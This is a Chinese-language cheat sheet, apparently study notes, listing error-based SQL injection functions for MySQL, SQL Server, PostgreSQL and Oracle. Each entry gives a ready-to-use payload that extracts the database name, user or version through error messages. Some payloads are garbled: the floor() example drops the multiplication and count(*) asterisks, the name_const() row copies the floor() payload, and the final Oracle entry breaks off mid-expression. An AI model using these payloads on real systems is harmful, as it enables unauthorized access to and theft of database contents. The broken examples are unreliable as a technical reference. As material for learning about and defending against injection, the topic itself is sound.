Skip to content

4-2

约 501 字大约 2 分钟

2025-11-02

SQL 报错注入函数有哪些

MySQL

函数/方法利用原理举例
updatexml()修改 XML 文档,不合法的 XPath 路径会报错并显示内容... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1)
extractvalue()从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容... AND extractvalue(1, concat(0x7e, (SELECT user())))
floor()结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)
name_const()用于创建一个带名称的匿名列。当在子查询中,我们使用 NAME_CONST() 将查询结果作为列名,并且这个列名在子查询中已经存在时,就会引发一个“重复列名”的错误,并将查询结果显示出来AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)
exp()我们可以通过 ~ 按位取反操作,将一个大的负数转换成一个巨大的正数,从而触发溢出AND (exp(~(SELECT * FROM (SELECT database())x)))

SQL Server

函数/方法利用原理举例
convert() / cast()强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容... AND 1=convert(int,(SELECT db_name()))

PostgreSQL

函数/方法利用原理举例
cast()强制类型转换,将字符串转换为不兼容的数据类型时报错... AND 1=CAST((SELECT version()) as int)

Oracle

函数/方法利用原理举例
utl_inaddr.get_host_address()utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual)))
ctxsys.drithsx.sn()在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'))
dbms_utility.sqlcode_to_char()这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用AND 1=TO_NUMBER((SELECT 'a'